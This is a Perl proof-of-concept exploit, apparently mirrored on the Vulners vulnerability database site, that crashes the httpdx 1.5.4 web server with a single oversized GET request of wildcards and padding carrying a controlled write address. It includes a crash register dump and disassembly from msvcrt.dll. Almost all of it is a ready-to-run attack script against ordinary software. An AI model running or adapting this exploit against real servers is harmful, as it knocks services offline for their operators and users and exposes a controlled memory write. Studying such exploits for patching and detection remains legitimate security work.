#!/usr/bin/perl -w
#======================================================================
# Exploit Title: httpdx v1.5.4 Remote HTTP Server DoS (using wildcards)
# Date: 18 July 2012
# Exploit Author: st3n [at sign] funoverip [dot] net
# Vendor Homepage: http://httpdx.sourceforge.net
# Download link: http://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.4/httpdx1.5.4.zip/download
# Version: 1.5.4
# Tested on: WinXP SP3
#======================================================================
# Additional notes:
# - One request is enough
# - On crash: Access violation when writing to [41414141]
# - The value x01 is written to [EDI] at the following instruction
# MOV BYTE PTR DS:[EDI],AL
#
# In msvcrt.dll
# -------------
#
# 77C470D0 8A06 MOV AL,BYTE PTR DS:[ESI]
# 77C470D2 8807 MOV BYTE PTR DS:[EDI],AL <===== HERE
# 77C470D4 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
# 77C470D7 5E POP ESI
# 77C470D8 5F POP EDI
# 77C470D9 C9 LEAVE
# 77C470DA C3 RETN
#
# Registers
# -------------
#
# EAX 41414101
# ECX FFFFFFFD
# EDX 00000003
# EBX 00423001 ASCII "&>"
# ESP 01058B9C
# EBP 01058BA4
# ESI 003EA2E0
# EDI 41414141 <============= HERE
# EIP 77C470D2 msvcrt.77C470D2
#
# Crash output :
# --------------
# httpdx 1.5.4 - Started
#
# [http/ftp]://192.168.0.10/
#
# ffs wtf happened?
#
#======================================================================
#======================================================================
# PoC code
#======================================================================
use strict;
use IO::Socket::INET;
my $host = "192.168.0.10";
my $sock = IO::Socket::INET->new("$host:80");
# EDI addr
my $EDI =
"\x7A" . # = 0x41 + 0x39
"\x32" . # = 0x41 - 0x0F
"\x41" .
"\x41" ;
print $sock "GET /" . "*" x 2450 .
"A" x 12 .
$EDI .
"C" x 528 . " HTTP/1.0\r\n" .
"Host: $host" . "\r\n\r\n" ;
exit;
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation